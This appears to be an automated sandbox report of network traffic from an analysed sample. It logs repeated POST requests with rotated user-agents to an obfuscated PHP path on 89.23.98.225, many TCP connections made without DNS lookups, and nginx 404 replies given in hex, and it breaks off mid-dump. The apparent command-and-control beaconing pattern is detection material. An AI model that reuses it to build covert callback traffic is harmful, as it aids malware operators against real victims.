Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.98.225Content-Length: 336Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 89.23.98.225Content-Length: 336Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.98.225

Source: unknown

HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:01 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:10 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:19 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:23 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:32 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:37 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:41 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Mar 2024 06:37:55 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 